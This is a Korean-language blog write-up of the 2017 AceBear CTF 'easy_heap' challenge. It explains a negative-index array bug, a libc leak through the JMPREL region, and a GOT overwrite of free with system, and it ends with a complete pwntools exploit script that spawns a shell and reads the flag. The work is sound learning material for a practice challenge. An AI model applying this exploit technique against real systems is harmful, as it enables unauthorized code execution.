HanJeouk의 개인공부 블로그

2017 acebear CTF easy_heap

CTF2018. 1. 30. 20:01

우선 보호기법을 보면

 

실행시켜보면 이렇게 age와 name을 입력받고 5개의 menu를 출력한다. 

취약점은 이 특정함수가 아니라 필터링 때문에 발생한다. create 부분을 보여주자면

여기서 INPUT_after_ATOI 함수는 입력을 받고 정수로 바꿔서 반환하는 함수다. v1에 INPUT_after_ATOI의 반환 값을 저장하고 buf[v1] 식으로 배열에 할당을 한다. 근데 만약에 정수가 양의 정수가 아니라 음의 정수라면 어떻게 될까?

v1을 -1로 하고 GDB로 봤더니(0x0804b0a0은 buf[]의 주소)

buf 뒤에 힙 포인터가 나타난다. 즉 음수로하면 (그 수 * 4byte)만큼 밀려서 나타나는 것이다.

이걸 이용해서 릭을 할 것이다.

show 함수를 보면 그 곳이 비었는지 아닌지만 체크하고 출력하기 때문에 이걸 이용할 것이다.

buf주소에서 JMPREL 까지 빼서 setbuf를 출력시킬 것이다. JMPREL의 주소는 0x08048420이다. 그리고 buf의 주소는 0x0804b0a0니까 둘이 빼면 0x2c80이다 10진수로 바꾸면 11392다.

근데 4바이트 단위로 끊어야 하니까 11392 / 4 하면 2848이 된다. 그래서 show에 -2848을 하면 setbuf의 주소를 릭할 수 있을 것이다.


성공했다. 이제 이걸로 base를 구하고 시스템 함수를 구할 수 있다.

다 구한 다음에 이제 공격을 해야한다. 공격은 create와 edit 함수를 이용할 것이다.

우선 JMPREL에서 free 함수부터 buf까지의 오프셋을 구하고 그걸 4로 나눈다. 아까 릭할 때처럼 구하면 된다.

그렇게 해서 2842라는 걸 구했다.

이제 create에 "/bin/sh\x00" 을 넣어놓는다. 그 다음에 edit 함수에 인자를 -2842와 system 함수의 주소를 넣음으로써

free함수를 system 함수로 덮는다. 그리고 아까 만든 create한 곳을 free 시키면 system과 "/bin/sh\x00"가 만나서 쉘이 따진다.

처음에 unlink로 base까지 다 구했는데 공격방법을 몰라서 막혔었는데 jmprel을 이용해서 공격한다는 걸 알게 돼서 릭과 공격코드가 엄청 간결해졌다. unlink로 base 구하는 코드보다 jmprel로 공격까지 때리는 게 더 짧은걸 보고 자괴감이 들었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
#p = remote("easyheap.acebear.site", 3002)
= process(["./easy_heap"],env={'LD_PRELOAD':'./easyheap_libc.so.6'})
 
def start(name,age):
        p.sendlineafter(": ",name)
        p.sendlineafter(": ",str(age))
 
def create(index,name):
        p.sendlineafter("choice: ","1")
        p.sendlineafter(": ",str(index))
        p.sendlineafter(": ",name)
 
def edit(index,name):
        p.sendlineafter("choice: ","2")
        p.sendlineafter(": ",str(index))
        p.sendlineafter(": ",name)
 
def delete(index):
        p.sendlineafter("choice: ","3")
        p.sendlineafter(": ",str(index))
 
def show(index):
        p.sendafter("choice: ","4")
        p.sendafter(": ",str(index))
 
start("AAAAAAAAAAAAAAAA",10)
show(-2848)
p.recvuntil('is: ')
 
leak = u32(p.recv(4))
base = leak -0x65450
system = base + 0x3a940
 
create(0,"/bin/sh\x00")
edit(-2842,p32(system))
print hex(leak)
print hex(base)
print hex(system)
 
p.sendlineafter("choice: ","3")
p.sendlineafter("Index: ","0")
 
p.sendline("cat /home/easy_heap/flag")
 
p.interactive()
 
 
cs


'CTF' 카테고리의 다른 글

2018 Codegate BaskinRobins31  (0) 2018.02.04
2018 Codegate RedVelvet  (0) 2018.02.04
2017 codegate Babypwn  (2) 2018.01.25
2016 WITHcon Malloc  (0) 2018.01.22
2016 Hitcon sleepy holder  (0) 2018.01.21